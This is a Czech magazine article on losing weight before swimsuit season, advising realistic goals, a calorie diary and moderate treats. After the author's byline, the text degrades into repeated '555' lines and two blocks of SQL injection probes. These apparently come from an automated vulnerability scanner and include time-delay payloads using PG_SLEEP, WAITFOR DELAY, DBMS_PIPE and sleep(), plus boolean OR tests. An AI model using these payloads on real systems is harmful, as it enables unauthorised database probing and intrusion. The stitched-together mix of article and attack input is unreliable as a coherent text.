Pro mnoho lidí začíná doba hubnutí do plavek. Máme pro vás několik rad, jak úspěšně o několik kilo přijít…
Kila nejsou dolů, ani když zdravě a kaloricky správně jíte a k tomu se i dostatečně pohybujete? V takovém případě musíte ještě alespoň trochu změnit svoje myšlení!
Nejdříve si stanovte rozumný cíl. Zhubnout deset kilo za měsíc se vám téměř jistě nepodaří a následné zklamání můžete začít řešit třeba tak, že pokus o hubnutí prostě vzdáte nebo si opět začnete dopřávat různé dobroty. Mnohem lepší je i poměrně malý úspěch, který povzbudí a potěší. S úsměvem jde všechno líp - i hubnutí!
Dietní hříchy s kalorickým deníkem nevadí
Pokud vám už na začátku rozhodnutí „chci zhubnout!“ kazí náladu myšlenka, že si nějakou dobu nedáte svoji oblíbenou čokoládu, dort se šlehačkou, nějaké smažené maso a jiné podobné dietní hříchy, jste mrzutí zbytečně. Ničeho ze svých lahůdek se tak úplně vzdávat nemusíte! Když víte, že bez nich nevydržíte, klidně je s rozumem a v přiměřeném množství zařaďte do svého jídelníčku. Musíte si ho ale sestavit tak, aby výdej a příjem kalorií a také skladba stravy odpovídaly stanovenému cíli. Dokonale vám v i tomto případě pomůže třeba osobní kalorický deník. Velmi jednoduše si v něm spočítáte, jak na tom právě jste a jestli si můžete dát i nějakou laskominu navíc.
Kalorické prohřešky nemusí být problém
Mnoho lidí žije neustále s různými dietami a s většími nebo menšími úspěchy ve snižování svojí váhy. Když se nedaří, jsou bez nálady a většinou ztrácí chuť se s nadbytečnými kily dál potýkat. Úspěch ale nezávisí jen na tom, co jíme a jak moc se pohybujeme. Velmi důležitou roli hraje přesvědčení o správnosti takového rozhodnutí a dobrá nálada. Lidské tělo je dokonalý organismus a dokáže dát najevo, co mu chybí a co právě potřebuje. Pokud tedy máte v průběhu hubnoucího období chuť na čokoládu, dejte si ji! Nesmíte ale samozřejmě sníst na posezení hned celou tabulku. Dejte si jen kousek a pořádně si ho vychutnejte. Cukr pak můžete omezit nebo vynechat u kávy a vše se v podstatě vyrovná. Příjem kalorií je dodržen, chuť uspokojena a vy tedy můžete být veselí. Podobně se dá vyzrát třeba i na smažený řízek, stačí se pak jen třeba podívat, kolik kalorií přibližně měl, vybrat správnou pohybovou aktivitu a díky ní tenhle dietní hřích vynulovat.
Usmívejte se – zhubnete!
Zabývat se neustále myšlenkami na jídlo a přitom nejíst nikdy k žádnému výsledku nepovede! Stres a nervozita z toho, jestli jeden plátek knedlíku nebo smažené kuřecí křidélko znamenají další deka váhy navíc také nepomáhá - spíš naopak. Stačí se skutečně držet základního pravidla, že když člověk nehladoví, tak organismus neukládá do zásoby a jíst klidně častěji, ale menší porce všeho, co jste jedli dosud. V každém případě si ale musíte odpustit kalorické hříchy ve večerních hodinách! Svému tělu ale uděláte víc než dobře třeba ovocem nebo čerstvou zeleninou. V každém případě budete mít určitě velmi rychle radost z toho, že se netrápíte nějakou speciální dietou a stále jíte to, co máte rádi. Poměrně brzo pak může přijít milé překvapení v podobě nižší váhy, mnohem lepších pocitů a dobré nálady. Budete se usmívat na celý svět a ten se bude usmívat na vás…
Zhubnout skutečně není ve většině případů složité - chce to jen chtít a také tak trochu vědět, jak na to.
Zdeněk Urban
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@wupm5
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
e1Bq6gmp')) OR 32=(SELECT 32 FROM PG_SLEEP(15))--
vP8QxQZg') OR 202=(SELECT 202 FROM PG_SLEEP(15))--
gZ9DtKMT' OR 54=(SELECT 54 FROM PG_SLEEP(15))--
-1)) OR 909=(SELECT 909 FROM PG_SLEEP(15))--
-5) OR 510=(SELECT 510 FROM PG_SLEEP(15))--
-5 OR 250=(SELECT 250 FROM PG_SLEEP(15))--
WnIoLHtY'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+870-870) --
-1" OR 3*2<(0+5+870-870) --
-1" OR 3+870-870-1=0+0+0+1 --
-1" OR 2+870-870-1=0+0+0+1 --
-1' OR 3*2>(0+5+126-126) or 'qFt0Nt96'='
-1' OR 3*2<(0+5+126-126) or 'qFt0Nt96'='
-1' OR 3+126-126-1=0+0+0+1 or 'qFt0Nt96'='
-1' OR 2+126-126-1=0+0+0+1 or 'qFt0Nt96'='
-1' OR 3*2>(0+5+262-262) --
-1' OR 3*2<(0+5+262-262) --
-1' OR 3+262-262-1=0+0+0+1 --
-1' OR 2+262-262-1=0+0+0+1 --
-1 OR 3*2>(0+5+204-204)
-1 OR 3*2<(0+5+204-204)
-1 OR 3+204-204-1=0+0+0+1
-1 OR 2+204-204-1=0+0+0+1
-1 OR 3*2>(0+5+31-31) --
-1 OR 3*2<(0+5+31-31) --
-1 OR 3+31-31-1=0+0+0+1 --
-1 OR 2+31-31-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@IvpY1
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
3LPhbZ40')) OR 251=(SELECT 251 FROM PG_SLEEP(15))--
shSYdtfQ') OR 608=(SELECT 608 FROM PG_SLEEP(15))--
7kPeaL8m' OR 681=(SELECT 681 FROM PG_SLEEP(15))--
-1)) OR 979=(SELECT 979 FROM PG_SLEEP(15))--
-5) OR 14=(SELECT 14 FROM PG_SLEEP(15))--
-5 OR 677=(SELECT 677 FROM PG_SLEEP(15))--
4hefZBSw'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+111-111) --
-1" OR 3*2<(0+5+111-111) --
-1" OR 3+111-111-1=0+0+0+1 --
-1" OR 2+111-111-1=0+0+0+1 --
-1' OR 3*2>(0+5+599-599) or '92T4H3p7'='
-1' OR 3*2<(0+5+599-599) or '92T4H3p7'='
-1' OR 3+599-599-1=0+0+0+1 or '92T4H3p7'='
-1' OR 2+599-599-1=0+0+0+1 or '92T4H3p7'='
-1' OR 3*2>(0+5+971-971) --
-1' OR 3*2<(0+5+971-971) --
-1' OR 3+971-971-1=0+0+0+1 --
-1' OR 2+971-971-1=0+0+0+1 --
-1 OR 3*2>(0+5+928-928)
-1 OR 3*2<(0+5+928-928)
-1 OR 3+928-928-1=0+0+0+1
-1 OR 2+928-928-1=0+0+0+1
-1 OR 3*2>(0+5+150-150) --
-1 OR 3*2<(0+5+150-150) --
-1 OR 3+150-150-1=0+0+0+1 --
-1 OR 2+150-150-1=0+0+0+1 --
555
555
555
555
555